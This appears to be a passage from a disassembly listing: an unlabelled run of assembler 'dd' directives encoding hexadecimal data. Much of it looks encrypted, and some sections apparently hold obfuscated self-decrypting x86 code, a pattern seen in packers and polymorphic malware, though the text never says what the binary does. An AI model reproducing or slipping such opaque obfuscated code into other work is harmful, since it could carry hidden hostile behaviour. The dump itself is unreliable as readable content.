75059243h, 2D4D7A5Eh, 0B6577925h, 1C8CFF69h, 0C87D7CE2h dd 73D41394h, 0F8EC0FF3h, 5C9499FCh, 61152ABAh, 9DFD7A5Ch dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh dd 1C8CF787h, 0C87D7C95h, 73D4132Fh, 0F8F10F2Fh, 5C949912h dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 8D688579h, 0F8FB53D5h dd 5C933AC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 5C948ECBh, 514ACE29h dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 1C09EF68h, 917D7CE2h dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 5C948270h, 0A260F7F4h dd 0F8FB5310h, 0CD3E39A0h, 75FD7A4Eh, 1C05EFD0h, 0B57E7CBEh dd 8935F1CEh, 1C09EF1Ah, 97577CDBh, 0BE15B98Eh, 0FF028543h dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 2517FB04h, 0FCFB5341h dd 0CF7D86EAh, 73D41338h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h dd 1C05E843h, 0FCBD7C77h, 5C9486ADh, 0F835F191h, 5C925E79h dd 816F85E3h, 0FDFB539Bh, 801F3C7Fh, 75FD6D04h, 897F795Eh dd 35FB5346h, 1AE5E01Ah, 0B67E7CE2h, 22FEF3E1h, 75FD644Bh dd 89777979h, 0F8FB53D5h, 5C927CECh, 2B598929h, 75FD722Fh dd 8D6F85CBh, 0F6FB538Ch, 85897E0Ah, 72447C71h, 7DFD7ABCh dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h dd 2FFD7A2Fh, 1ACA9016h, 0CF707CE2h, 73D410E5h, 0CCF50F79h dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 1FFDE7A2h, 497D7CBEh dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh dd 517FB04h, 0F8FB5340h, 5C977A25h, 7D80F1CDh, 75FD725Ch dd 145989F2h, 75F9B8B0h, 7540F7DCh, 46FB5334h, 75F5C3EFh dd 0DF0E7A97h, 0F89DB9AAh, 5C977A58h, 74C2FBF4h, 0FC7B78h dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 7540F7ABh dd 0CDFB538Fh, 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh dd 7878F7EFh, 8AFB53FDh, 0E9CA8BD0h, 3Bh, 0ADBD8B60h, 83062218h dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0CE8C8h, 6F2A0000h dd 44508B53h, 0CF308ACh, 81662A0Bh, 58CB4CC3h, 38B0Fh dd 8B660000h, 0DDC081F3h, 53000070h, 1C01685Ah, 0B70F0000h dd 0A1BE59D0h, 0FF644AE4h, 0E0806030h, 6130B1BCh, 93C2805Fh dd 0FAFBEF81h, 0BF0F25CFh, 0F3C781D1h, 0E85708B9h, 0Eh dd 2231E7D6h, 0FAE2495Ch, 8B67172Ch, 815ED1D4h, 0FA2311F7h dd 0F38B6655h, 5E857h, 0B3520000h, 66E8D2E1h, 24EDDA81h dd 0BE008F5Eh, 42894267h, 0E904E883h dd 0Ch, 754C6C61h, 8E1694C3h, 83F99B09h, 0F01E983h, 1F85h dd 8E800h, 0A5430000h, 162391E3h, 0E95E0053h, 2Bh, 4D3C1A6Ch dd 0DA940724h, 2F099A1Ah, 68E0Fh, 0C3810000h, 1895C40Bh dd 0FFFF62E9h, 0E1355DFFh, 22C9ADBCh, 0CA225F04h, 8DB322FEh dd 2971E78Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 4DB4DC75h, 57A56F8Ch, 33F18D89h dd 0B58B0622h, 6223511h, 2D3185C7h, 58100622h, 0EE90000h dd 0C1000000h, 0E1326AFBh, 8629D4A3h, 9DF208A5h, 0E585C708h dd 62230h, 60000000h, 8D9D89h, 0BE90622h, 3B000000h, 0FE770A5Bh dd 86C1DA45h, 0FF613D0Dh, 221281B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0E77FD4B9h dd 0D36B61BBh, 11858B30h, 0FF06222Dh, 22206595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9600D42Ch, 0BF6627F0h, 896005DFh, 2225818Dh, 25B52906h dd 6106222Ch, 95FF006Ah, 6223075h, 2FEBC08Bh, 49F3B3A4h dd 44C0B86Fh, 0A2BEE31Ch, 2CA78A82h, 7AEBC332h, 2358D5CCh dd 0AD0A090Fh, 90879237h, 3AFF9A68h, 37D13491h, 6181E7A6h dd 8D7BAD86h, 2972A78Dh, 6D9D3106h, 8906221Dh, 2233F18Dh dd 6840F06h, 89000000h, 2210F585h, 3185C706h, 0D406222Dh dd 0E900005Fh, 0Fh, 75A6B58Eh, 1F64CDE5h, 63270E6Ah, 0C7AF3A65h dd 2230E585h, 6, 8E96000h, 56000000h, 6128EE1Ah, 0E938D1EFh dd 7, 0D3DDC4E5h, 61BF47C6h, 1311B5FFh, 7E90622h, 0D6000000h dd 1ED6DEEAh, 95FF373Dh, 6222065h, 220DB58Bh, 0BD2B0622h dd 6221A6Dh, 95FF006Ah, 6223075h, 4BEBC08Bh, 47397114h dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h, 0C27463E8h, 0FFCE283h dd 0F32AE368h, 7C6CB196h, 0AC58F826h, 0DAF21F3Ch, 0FF377088h dd 73757CF1h, 26366B15h, 8E3E682h, 4A396AD0h, 96FB8D95h dd 173FF309h, 0B884F300h, 8DDE423Fh, 222CD59Dh, 1300B806h dd 85890000h, 62214F1h, 0E8h, 0D055800h, 89000000h, 1300E903h dd 4C0h dup(0) dd 16EB0000h, 5 dup(0) dd 3680101h, 6290000h, 1AC59529h, 0BB660622h, 0B5902B59h dd 0BA665086h, 299092A8h, 22322985h, 0D0BA6606h, 6A006A1Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 67ACC350h, 40E28166h, 0B8E0FBCh, 60000000h dd 18D8589h, 8B660622h, 6A61C7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 1BC35646h, 0E3300524h, 235B589h dd 8D8B0622h, 6221B55h, 879D858Dh, 6A0629h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B69A2C3h dd 0F6050FBh, 28Ch, 61616000h, 0F8240489h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0A2C92DC3h, 0B70FBDD3h, 6A006ADEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C8CC351h dd 76B3B9F2h, 0A7E38106h, 0FF0C0781h, 22355595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6689FAC1h, 0E363C781h, 5E8h, 0A4A4CB00h, 880F6D6Fh dd 6, 0A45BD8Bh, 335B0622h, 222ACD8Dh, 651E906h, 9D8B0000h dd 6221629h, 0CE9h, 7EF37200h, 1B705CDBh, 2AA8BF40h, 0E80Ah dd 815D0000h, 2987A2EDh, 68C0F06h, 8B000000h, 2231A995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8E9CAC2h, 0BB000000h, 0E3CEC8C7h, 68D5A3B0h dd 5EBE3558h, 0EE8h, 0B02CED00h, 0EC9401D2h, 4CC4CEE3h dd 0FC9A72Dh, 1786h, 11E800h, 0E63F0000h, 2F28BCC6h, 0A07C26C8h dd 2B5C64ACh, 5BDFB996h, 2434815Bh, 5EBE3AF8h, 95FFC88Bh dd 6223075h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 2C35646h, 29F714E4h, 861CB58Dh, 6A0629h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 3366B2C3h, 221DFD9Dh, 5206C706h, 536D6765h, 446C75Ah dd 6C636E6Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0BDC35747h, 0D918ACB4h, 45A44A8Eh, 0D952918h, 0C7062206h dd 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0D2811DC3h, 2DCFE881h, 0AE8h, 0AB84B400h dd 0FE7DB4CCh, 60232AF3h, 7174B866h, 0DBCB1FBAh, 6A5B612Ch dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0DC147BD1h, 0F1853425h, 11E90Ah, 7D510000h dd 1E85BB39h, 3C7B7912h, 5C44DDCh, 8D2E8690h, 29861C85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 9A51E3E5h, 0D8C3991Eh, 8B665240h, 536050D9h dd 310F5250h, 615E585Ah, 80240489h, 95FF85E7h, 6220165h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 69C35545h dd 0F21974Fh, 58Ah, 7E1EBA00h, 0C00B16EDh, 33840Fh, 8D8B0000h dd 62204E1h, 3E0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 6880FE0h, 81000000h, 6E1840DFh dd 4E849h, 12C0000h, 0BF660000h, 8B50AD29h, 0F042444h dd 1B86h, 0E8525000h, 0Fh, 5BF9836Fh, 9CB0320h, 2C8C9C9Eh dd 5AE7CB61h, 585A310Fh, 0CE8B008Bh, 4244489h, 79CB60B9h dd 6A582Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0F30FADC3h, 307595FFh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 216EA3C3h dd 2179184Ch, 85896065h, 62227D5h, 0B58D61F5h, 629861Ch dd 211BD8Bh, 8D890622h, 62200A5h, 383106C7h, 8B663634h dd 446C7D7h, 31342D37h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7FC35242h, 0FD977B4Ah, 8A9874E1h, 659D8BF7h dd 0C706222Ch, 846h, 13E90000h, 6F000000h, 40D7F907h, 0E43A69Bh dd 8C6892DEh, 0E41C77B8h, 6AC67Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0FAC35242h, 0FE9h, 0B75A400h dd 699BB7Dh, 26EEF067h, 4464540Ah, 205D958Bh, 0F7800622h dd 1C858D66h, 0F5062986h, 60525090h, 13E8h, 0DAA15200h dd 941BD4A5h, 1359A90Eh, 7386CF54h, 0B5ACFF7Ch, 6E859h dd 6D5E0000h, 0B0B6ACAAh, 310F6159h, 10E8h, 5FE63600h dd 51BB75D4h, 2C64BC22h, 843AB859h, 5BCF8B61h, 5350585Ah dd 0EA0BB966h, 6A905Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 1CA60AC3h, 43F0B2C5h, 16595FFh dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 572A5FC3h, 6B429AEDh, 8E9h, 96F7BB00h, 7C550BADh dd 0FC00BF9h, 2C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 8166C8C9h, 0E93E79D7h dd 1A5h, 3CDADFB9h, 4ACD6828h, 481D81Bh, 0E4B65F24h, 50006A27h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 30DF4451h, 0D6C7E93Dh, 95FFDD8Ah, 6223075h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 98C35040h, 0E3650215h dd 2FCD8589h, 0B58D0622h, 629861Ch, 34DD9D89h, 6C70622h dd 656C6946h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0B0C35747h, 98E18105h, 0C7307A52h, 6F6D0446h, 0B70F636Eh dd 846C7D8h, 7373616Ch, 3159BD0Bh, 46C70622h, 0Ch, 0F59D0B00h dd 6A062207h, 8DE3B200h, 29861C85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 66A54AE9h dd 0D985E181h, 3C2BB950h, 4895A32h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0F38156CEh dd 193FF531h, 16595FFh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 66F52EC3h, 664E54BAh dd 0A223C181h, 840FC00Bh, 36h, 0ADEA8166h, 53E986h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 2E184BC3h, 2511AFF0h, 5747A617h, 325FDFBFh, 36E95F3Bh dd 6AFFFFFAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B88C356h, 2208819Dh, 0A4B58D06h dd 6A062276h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 82D2C351h, 0F3D338DAh, 0FE9h dd 92347C00h, 0DF91E776h, 0D4693A27h, 0B0DFC42Fh, 0B8h dd 0B9952900h, 0FF062205h, 518D8BE6h, 8B062216h, 0B40CEBC1h dd 0E304776Bh, 0B011F00h, 0E951E3E7h, 61Dh, 611E9h, 4CF78600h dd 0B08FFC25h, 18276859h, 8EB9C0F1h, 0F7543A67h, 81CAAA9Ch dd 0FA274EFDh, 5758B390h, 0C2CF2621h, 0FF6681BAh, 0B6F6029Ah dd 771B4113h, 3A0577AFh, 0DBAFECE9h, 7F09306Ch, 5586C5CAh dd 4186D716h, 70634880h, 3A556CBCh, 512A8147h, 0E93759C7h dd 588DBAC0h, 22FA6B13h, 473A5916h, 2C71B0FBh, 93C07F0Fh dd 4F9B1176h, 0A2473A59h, 0DDACD50Bh, 93FC3162h, 414A67B4h dd 8F079BB8h, 4679E189h, 43DD6021h, 0FB582399h, 8F4480A5h dd 0F8752740h, 7949215Ch, 0ACF14E3Ch, 0D7E65381h, 19266986h dd 8FBEC1CEh, 0DE1D4EF9h, 0A9BE4E9Fh, 5433EC0h, 0C681F704h dd 0F3599F9Ah, 10CA1E8Eh, 8C2F4FB3h, 0D9662950h, 6EB5AE8Eh dd 959E9309h, 2C8F41A8h, 80BBCECBh, 0B9CC1053h, 0D03B0474h dd 0FE0AE2C7h, 13498882h, 0E576E398h, 3C562278h, 94AFD9E0h dd 4FDD0247h, 49885B3Bh, 7542ED9Ah, 0CD726052h, 0C71389EEh dd 2A4988D0h, 0C28B5D83h, 449E63h, 0E3958FE9h, 42DA3F58h dd 52D38536h, 438CD0DBh, 0DC3D8271h, 851525F7h, 0B5F852D3h dd 5B26A6Fh, 0EA5CF1EEh, 2169A6C3h, 6EB2F122h, 0E2798D5Fh dd 1A645B31h, 0C9B3F82Dh, 26232D7Eh, 19C06CC2h, 21946DDFh dd 3F4B21DAh, 0D25B3159h, 0C99622DBh, 611C3864h, 7435E807h dd 7, 380A5A2h, 77890000h, 0D8154601h, 355B88B7h, 88ACCCh dd 95E32C47h, 49079AAh, 6EC6222Fh, 4595071Ah, 0A8473A3Bh dd 66ABC205h, 0B4F92A19h, 3C0B74C5h, 0FD64A8FDh, 69D6B97Bh dd 0AF4B8E1Eh, 523C1269h, 0F28794F5h, 0C7C80B49h, 52F19AB3h dd 0DDADC213h, 89F03D6Eh, 6FF46DBEh, 221D338Ah, 4DFA84CDh dd 1921FB18h, 0FC3BCB91h, 68806DB1h, 0BD3B36C2h, 0D3341367h dd 91EA3EEEh, 0AC0F3BCBh, 250A6F70h, 0CB912377h, 1EE7D63Bh dd 0A258B710h, 4BA0FCF1h, 0C3h, 62A558BBh, 0B790FC31h dd 4B3BF152h, 76A216D9h, 97F8292Ah, 81A97BA8h, 63473A90h dd 97E43116h, 68387BA8h, 473A9040h, 5FDA06B5h, 0D7741B19h dd 380773BCh, 8DB6C6EBh, 2741A858h, 0A7CE7D0Dh, 0E233107Ah dd 64E3A8E5h, 0B08DF138h, 0C2F7CCBh, 275398CDh, 905A6E3Eh dd 0FCBF473Ah, 3B4368BDh, 0C029DF0Ch, 0CFAA82A8h, 448DB6C2h dd 6DD40837h, 0E261290Bh, 81048885h, 57B04602h, 9AC6F9D9h dd 43464879h, 669F1F95h, 0FE8A807Ch, 0A52BEF2Eh, 19F22362h dd 0D5131E8Eh, 0F9102F5Fh, 5687C0C8h, 3A8F7586h, 19226A47h dd 74D3A7F4h, 464ED27h, 195F1A2Eh, 0ADDC6D1Bh, 152ED9Ch dd 3372A3E2h, 773D99F0h, 0F8474801h, 44988ABh, 7BC8B2FFh dd 0D36C1C25h, 2DD1CDB6h, 73FA65FFh, 0A4F83B08h, 8FE96681h dd 3158E395h, 3A34909Fh, 0A51E7B47h, 351C7EDEh, 79DD0317h dd 51F33905h, 8C08A51Eh, 0B4CD8E76h, 0FEF7A568h, 586DFFFFh dd 690364ABh, 49183DC6h, 0C6128AEFh, 2B411835h, 0D6E55C80h dd 4C334085h, 518FAEFFh, 0A5D56428h, 0F73675A6h, 78E9939Ch dd 183594A4h, 98147941h, 41183570h, 94D716A5h, 0E45F2A47h dd 0D028C1B7h, 7585177Ch, 98411835h, 0DAA2CF15h, 49230861h dd 41183521h, 58BBD9D4h, 0C91A2557h, 0A5F5A78Ch, 48411835h dd 5A6D3F65h, 43411835h, 0D6750538h, 5F294697h, 28C1B7E4h dd 121F5AD0h, 152E5ED6h, 53B89DFAh, 1835B1D9h, 87496441h dd 41183573h, 0B2DA17A6h, 5E2E4B89h, 6E53B0E5h, 18356ABEh dd 0F02C8F41h, 41A6EDE6h, 3A5EFCABh, 0BDDAD14Fh, 32F3BAC4h dd 8BAAFB48h, 0C9D5A3F2h, 7B68488Bh, 0B5C6D334h, 0FA264596h dd 5E100597h, 0D4214565h, 5BE892ABh, 7BA8EB0Ah, 8E2DE438h dd 0E64F385Dh, 0AA54E075h, 4D3B469Ah, 0E2969BF2h, 93783459h dd 57577A82h, 0A2D64EAAh, 39414E99h, 0D9A0ED0Ah, 0EE5D216Eh dd 32466BB2h, 86D77407h, 0BAF72467h, 8DDD4FD2h, 6053F6D5h dd 94D90A4Dh, 0EB0E5FE8h, 8240A6Eh, 0BE41D8A9h, 22D9DC25h dd 6E172445h, 0D00CE9D6h, 0D83D0F69h, 4095AEDBh, 0C9277325h dd 0E3CA53F6h, 0E9E499BDh, 93F13D26h, 0E4000000h, 3A66E197h dd 0FD04776Ah, 0A3D577CBh, 53284B98h, 76A9F241h, 0DE6D121Fh dd 44FF8AB7h, 98A3D623h, 68161B44h, 0FF8FB0DBh, 0A4EA2740h dd 0E93776A7h, 72D1B9E6h, 88F13E1Bh, 2F7CC7B1h, 6A97CD0Ch dd 0E05F2B1Eh, 0D63170B3h, 7198A3E9h, 0DC013E40h, 88F30059h dd 26F16ABBh, 0F3B7ECBCh, 2B72AEE1h, 98CD7606h, 4FABCDB4h dd 4726722Ah, 0E0CB473Ah, 320D5E89h, 91h, 9CAD7FE0h, 6A473A3Bh dd 765B81E7h, 634C5539h, 4AA96FFAh, 3675A6D9h, 4775AEAh dd 0A3D52247h, 0F4284B98h, 6AD9A6EBh, 0C27B000Dh, 104C8FBCh dd 8CB7C2CFh, 0D3523C65h, 3A3B3159h, 0B0C9E447h, 3A3BACFCh dd 2B6A4147h, 8DBAC1CEh, 5E601D58h, 80B91A31h, 1D024D93h dd 76BBD271h, 0C414904h, 4285C483h, 8F92E62Bh, 184DF682h dd 0B1FF0BDDh, 8656473Ah, 0FB615650h, 0F23F7EC3h, 1B7CBF8Ch dd 83D16A1Eh, 122D5F40h, 364FBh, 0CBCE0000h, 3D067773h dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 6768696Fh, 8900000Eh dd 0E2892414h, 4C281h, 0EA830000h, 24148704h, 0E389535Ch dd 4C381h, 0EB830000h, 241C8704h, 243C895Ch, 8904EC83h dd 68532434h, 12B57ACh, 0FFEB815Bh, 81FFFFFFh, 1C9BCEBh dd 5BDF89FBh, 24348B54h, 4C481h, 0EC830000h, 243C8904h dd 8B08468Fh, 89532434h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 2434FF5Ch, 4C4835Fh, 0F8EEE6E9h, 0EE8489FFh, 82B84472h dd 3062993h, 0E8D38BC5h, 0Eh, 0F4D90E84h, 0C45685C3h, 0F9BF1714h dd 11E9015Fh, 72000000h, 3A99378Ah, 343C93EBh, 6D01DDD2h dd 2039C0A3h, 81CA8B5Bh, 5E2AC3h, 13E900h, 0A8BA0000h dd 1DB9F4DFh, 76C8DF8Ch, 1CAC387Dh, 0AE309A0Bh, 2C52BACFh dd 0C2813A14h, 0C5EBEAF2h, 0A6C1B966h, 0E95333FFh, 0Ch dd 1D021DDFh, 835DB707h, 2AB22767h, 8B665F5Eh, 4FC781CEh dd 0B41C6385h, 9C78180h, 0F7734CFh, 80h, 4AF78100h, 601A76FEh dd 12E8F9h, 0BDEF0000h, 232FC9D0h, 0C4325F54h, 0D215A830h dd 2D4E2BB4h, 5FCB8B66h, 8FF85761h, 3880F03h, 0F000000h dd 0EB81CFBFh, 1EAD61BDh, 20810Fh, 8D0F0000h, 1Ah, 14E8h dd 42B6BE00h, 8292E8EFh, 79D8721Ah, 0EACB4E61h, 9997B771h dd 0C38159DAh, 1EAD61B9h, 407FB866h, 20850F4Ah, 0E9000000h dd 6, 8AF26F63h, 1FE966B7h, 0F5000000h, 0BE1255F9h, 9C7597C3h dd 0B17EA9ADh, 0E9FE3F44h, 0FFFFFF40h, 0EDC9EEBDh, 88A98F8Ch dd 13E83179h, 13000000h, 30A67613h, 0C9DCEDAh, 0CC2F8C8Dh dd 4CFF5C78h, 0F28BE99Eh, 0A4C18159h, 600000E9h, 61C68BF8h dd 68h, 3800F00h, 66000000h, 815FD08Bh, 10B8D0EAh, 391C8B73h dd 0CDD88166h, 30EB8189h, 0E91D77E0h, 11h, 6F3EC741h, 372300E7h dd 613878B8h, 0BD25B7DFh, 4BEB81DEh, 0BE00CA82h, 10600958h dd 6D57F381h, 8B665305h, 391C89C7h, 5E8h, 81AE0A00h, 18B4706Ah dd 0A840F5Ah, 60000000h, 382CC081h, 0C78B5473h, 3EF8361h dd 664FC78Bh, 5B87DA81h, 1734FF81h, 850FFFFFh, 10h, 0D23FBE66h dd 2EE9h, 7ED09C00h, 7AA2061Ah, 10E8h, 6CB88B00h, 0E7CC4CB5h dd 0B4C17817h, 0CDDF3750h, 0E958F9C6h, 0FFFFFF65h, 87FEA92Dh dd 1A8E298Ch, 0E99D9F76h, 2Ch, 6735407Eh, 0Ah dup(0) dd 0D0FE9h, 98536800h, 94E90629h, 68FFF8ECh, 6299982h dd 0F8EC8AE9h, 9A4268FFh, 80E90629h, 68FFF8ECh, 6299AE0h dd 0F8EC76E9h, 9E4B68FFh, 6CE90629h, 68FFF8ECh, 629A0FEh dd 0F8EC62E9h, 0A1CE68FFh, 58E90629h, 0FCFFF8ECh, 525FB691h dd 0CEF31A29h, 266B82C1h, 9081E853h, 303651EEh, 0A897E730h dd 1D2A5041h, 80BBCDF2h, 0EB543869h, 6C005980h, 4113AD5Ch dd 0CFB81DB1h, 608D37BBh, 6E1B5414h, 77F78FD5h, 0FA493607h dd 33456ABBh, 0E49FE108h, 0E1A27A9Fh, 0EE49181Ah, 7BD9AACFh dd 2BC66905h, 85C48308h, 2E7E0E5Fh, 3341188Dh, 0BE8DF14Ch dd 0DE0F4E6Dh, 0C51EE91h, 0D75B9D54h, 5178F079h, 4BD1221Ch dd 28B9h, 0AB586100h, 32690364h, 23491853h, 23AAFEAEh dd 6C4F4118h, 182CF82Dh, 0E6411823h, 97CAFD7Bh, 224BD1C3h dd 7, 8CBA5E8h, 77890000h, 0C4E93A05h, 14648FB8h, 92F7105Fh dd 1A4BF485h, 3BE109DBh, 9914473Ah, 0A986167Bh, 7E491843h dd 0E5EEE3Fh, 0F0411833h, 0A5D8EF09h, 304BD1CFh, 4Dh, 64AB581Eh dd 23F9DE03h, 473A3B17h, 90C57E0Ah, 0BACFEC55h, 0DE115C81h dd 0F95F8325h, 0DE0262EAh, 18AADB0Ch, 54793449h, 18CE7498h dd 26256941h, 66D7B8F5h, 0B9EA2D16h, 133D0A74h, 8240A6Eh dd 6DE02741h, 484BD0E6h, 0F1h, 3A0577D6h, 0C91BECE9h, 62DDAFE6h dd 6709F231h, 0F039670Fh, 4F6CB18Eh, 9CD1023Dh, 6C3C57F0h dd 473AAFB8h, 9EA2F44Dh, 72C1BA7Eh, 3EF6EF1Eh, 0FF2564D3h dd 1871CAB2h, 0B3DC6D1Bh, 0E5244794h, 216B54BFh, 0AB90F526h dd 3AE5A9F1h, 33614C47h, 0A4EB2AD9h, 3667E0A9h, 93CFB4F7h dd 9AB0B5D3h, 38F41554h, 4918F32Fh, 2127D30h, 37E50251h dd 4F3C122Ch, 58BDDAD1h, 0EA592673h, 7D45EE3Ah, 74A8034Bh dd 0EB02414Dh, 9F6BD8A6h, 0EF9478FEh, 6BC75A6Bh, 2400000Ah dd 9A87EE59h, 0F63B52F1h, 6E53BA89h, 0D8C9201Bh, 87E89B6h dd 0E05F2F68h, 55F29889h, 0B883F53Ah, 231C6051h, 0A47801C8h dd 4113A394h, 774DD579h, 1E398207h, 0F38C35F9h, 4F18BC9h dd 11507D56h, 7020E1F6h, 8F4A845Bh, 0A3E9104Ch, 3687198h dd 3A214169h, 0DBF9B447h, 64AB580Bh, 41666903h, 20F4918h dd 5F9ECF7Ch, 44A50801h, 0A9FA4537h, 0B4AF584h, 0F253B0D5h dd 0F0B2B5E2h, 80ED2009h, 0D76CAB3h, 0CE1EA8F4h, 0D34118ADh dd 23489DA6h, 56BAEB58h, 4BD94DABh, 5F6B0166h, 0B24118ADh dd 0FA0E9EFBh, 1F4118ADh, 7FF9409Ch, 0F560348Dh, 0D9FD4FBCh dd 54DE93BBh, 0BDFB4BD1h, 23000000h, 0E93A0577h, 6C8DBAC4h dd 0B1E25D2Fh, 4D1F2E72h, 473A37D9h, 0E40F3844h, 1078D1BBh dd 3E4F9B11h, 0BA2473Ah, 384489C8h, 0BEE3044Bh, 0E03C0771h dd 18550D46h, 709B1249h, 0CB2C7360h, 3C8FB551h, 6B87404Fh dd 3512793Ah, 0DA38C5E0h, 0F1287433h, 2E505DBAh, 0CC0FF811h dd 61137E31h, 0AF90F321h, 0ED9660DFh, 68EF950Bh, 93CC05Fh dd 88F50000h, 206B54BFh, 0B8C7C823h, 4A3F608Bh, 0E5A996F1h dd 393B0F66h, 56B18EF0h, 0CB222169h, 7E89B2C6h, 99F04B31h dd 4793096Eh, 0AA4113A2h, 7773CE4h, 3B7A8E1Eh, 1C9F473Ah dd 40A5B2DDh, 3A3B9CACh, 4B347147h, 5A67BDFCh, 24FE0932h dd 0DD3A0577h, 3B1424F8h, 0B2F9473Ah, 0E3310E7Dh, 5CE795DAh dd 1A90A835h, 2FFD1A69h, 49182814h, 42D0B2F9h, 0D95F18EFh dd 0CA2F746Fh, 5182C1CDh, 118BCE12h, 0E6FF7186h, 2C1762AFh dd 70AC9BE3h, 0A4A1F2B9h, 67142557h, 117B99D8h, 20FC1D62h dd 0FF1564AEh, 929FF8B3h, 112A5FEAh, 1F60A1CCh, 9986E120h dd 0CBBE48F3h, 963FACEFh, 87CBA85h, 48350000h, 0E0AB94FFh dd 78070863h, 0A7FA0CBh, 0A5E9D631h, 797B4FA6h, 96F14E30h dd 0B62E1A9h, 0BEC97206h, 0D9300B71h, 87D3492Eh, 6A4113A1h dd 5777CA4h, 0A8FD4A34h, 0D068C637h, 0DA1DFEB3h, 590A4A9Bh dd 3C3FED0Ah, 94918BCh, 0AB204824h, 0E6D54118h, 56228FBAh dd 807DB8EDh, 0C7F46740h, 49AEE17Eh, 7C0D3C4Ch, 386980C3h dd 16A6F750h, 41183CC2h, 184C3458h, 64D0641h, 0C7FBCE1h dd 91CFEE3Fh, 3A5D28F7h, 0B9DEDD4Fh, 0EC300F7Ch, 5FE894D9h dd 97CDCCABh, 0F94051EFh, 7DEh, 325DE697h, 0A6C17E0Dh dd 0DE291679h, 749FA8D1h, 0ED04434Bh, 0EC92DB9Dh, 7F0B345Fh dd 1078A9C0h, 0A9D3DC37h, 0EB8C779Eh, 13A1E931h, 0DE460C41h dd 364AB58h, 184ACA69h, 25CA3B49h, 0AA641D5Fh, 8FACF130h dd 592A4FFCh, 